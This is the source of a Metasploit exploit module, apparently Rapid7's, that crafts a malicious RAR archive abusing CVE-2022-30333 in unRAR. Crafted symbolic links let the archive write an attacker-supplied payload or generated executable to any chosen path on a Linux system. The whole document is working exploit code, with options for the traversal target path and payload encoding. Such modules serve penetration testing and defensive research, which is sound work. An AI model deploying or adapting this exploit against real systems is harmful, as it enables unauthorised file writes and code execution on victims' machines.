UnRAR Path Traversal

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  include Msf::Exploit::Format::RarSymlinkPathTraversal  def initialize(info = {})    super(      update_info(        info,        'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',        'Description' => %q{          This module creates a RAR file that exploits CVE-2022-30333, which is a          path-traversal vulnerability in unRAR that can extract an arbitrary file          to an arbitrary location on a Linux system. UnRAR fixed this          vulnerability in version 6.12 (open source version 6.1.7).          The core issue is that when a symbolic link is unRAR'ed, Windows          symbolic links are not properly validated on Linux systems and can          therefore write a symbolic link that points anywhere on the filesystem.          If a second file in the archive has the same name, it will be written          to the symbolic link path.        },        'Author' => [          'Simon Scannell', # Discovery / initial disclosure (via Sonar)          'Ron Bowes', # Analysis, PoC, and module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2022-30333'],          ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],          ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],          ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],        ],        'Platform' => 'linux',        'Arch' => [ARCH_X86, ARCH_X64],        'Targets' => [          [ 'Generic RAR file', {} ]        ],        'DefaultTarget' => 0,        'Privileged' => false,        'DisclosureDate' => '2022-06-28',        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [],          'SideEffects' => []        }      )    )    register_options(      [        OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),        OptString.new('CUSTOM_PAYLOAD', [ false, 'A custom payload to encode' ]),        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']),        OptString.new('SYMLINK_FILENAME', [ true, 'The name of the symlink file to use (must be 12 characters or less; default: random)', Rex::Text.rand_text_alpha_lower(4..12)])      ]    )  end  def exploit    print_status("Target filename: #{datastore['TARGET_PATH']}")    if datastore['CUSTOM_PAYLOAD'].present?      print_status("Encoding custom payload file: #{datastore['CUSTOM_PAYLOAD']}")      payload_data = File.binread(datastore['CUSTOM_PAYLOAD'])      # Append a newline + NUL byte, since random data will be appended and we      # don't want to break shellscripts      payload_data.concat("\n\0")    else      print_status('Encoding configured payload')      payload_data = generate_payload_exe    end    begin      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'], datastore['TARGET_PATH'], payload_data)    rescue StandardError => e      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")    end    file_create(rar)  endend